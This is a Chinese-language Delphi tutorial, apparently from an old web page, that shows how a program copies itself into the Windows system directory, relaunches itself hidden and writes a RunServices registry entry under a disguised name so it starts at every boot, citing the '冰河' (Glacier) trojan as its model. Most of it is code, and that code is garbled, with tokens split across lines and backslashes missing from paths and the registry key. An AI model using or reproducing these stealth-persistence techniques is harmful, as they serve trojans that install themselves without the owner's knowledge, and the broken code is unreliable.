这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:
procedure TForm1.FormCreate(Sender: TObject);var myname:
string
;beginmyname :
=
ExtractFilename(Application.Exename);
//
获得文件名
if
application.Exename
<>
GetWindir
+
myname then
//
如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir
+
myname), False);
...
{将自己拷贝到WindowsSystem下}
Winexec(pchar(GetWindir
+
myname), sw_hide);
//
运行WindowsSystem下的新文件
application.Terminate;
//
退出
end;end;其中GetWinDir是自定义函数,起功能是找出WindowsSystem的路径.function GetWinDir: String;varBuf: array[
0
..MAX_PATH] of
char
;beginGetSystemDirectory(Buf, MAX_PATH);Result :
=
Buf;
if
Result[Length(Result)]
<>
'
' then Result := Result +
'
'
;
end;
如何能使程序能在windows启动时自动启动?
为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
procedure TForm1.FormCreate(Sender: TObject);
const
K
=
'
SoftwareMicrosoftWindowsCurrentVersionRunServices
'
;var myname:
string
;begin
...
{Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
myname := ExtractFilename(Application.Exename); //获得文件名if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);...{//将自己拷贝到WindowsSystem下}Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件application.Terminate;//退出end;with TRegistry.Create dotryRootKey := HKEY_LOCAL_MACHINE;OpenKey( K, TRUE );WriteString( 'syspler', application.ExeName );finallyfree;end;end;
